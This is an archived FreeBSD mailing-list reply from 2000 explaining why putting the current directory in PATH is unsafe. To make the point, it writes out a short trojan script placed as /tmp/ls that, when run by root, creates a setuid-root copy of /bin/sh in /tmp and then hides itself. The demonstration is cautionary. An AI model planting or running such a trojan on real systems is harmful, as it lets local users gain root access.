From owner-freebsd-questions Sun May 14 14:21:49 2000 Delivered-To: freebsd-questions@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id E44E937B5AB for ; Sun, 14 May 2000 14:21:46 -0700 (PDT) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e4ELs3N23061; Sun, 14 May 2000 14:54:03 -0700 (PDT) Date: Sun, 14 May 2000 14:54:03 -0700 From: Alfred Perlstein To: "Alan L. Clarke" Cc: Alex Kwan , XF , freebsd-questions@FreeBSD.ORG Subject: Re: A basic question about C programming (sloved) Message-ID: <20000514145403.N28383@fw.wintelcom.net> References: <000701bfbd9b$fd945300$591e40ca@alexkwan> <20000514131017.A801@dds.nl> <001701bfbd9d$eae8be60$591e40ca@alexkwan> <391EB3A8.36442A53@eticomm.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <391EB3A8.36442A53@eticomm.net>; from toadie@eticomm.net on Sun, May 14, 2000 at 10:09:45AM -0400 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Alan L. Clarke [000514 07:46] wrote: > The smart thing to do is to change your .profile . Change your PATH > variable to include your present working directory or any other directories > that you will be using to execute code!!!!!!!!!!!!!!!!!! echo '#!/bin/sh cp /bin/sh /tmp chmod 4777 /tmp/sh rm /tmp/ls exec ls' > /tmp/ls chmod +x /tmp/ls No, it's not a very "smart" thing to do. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message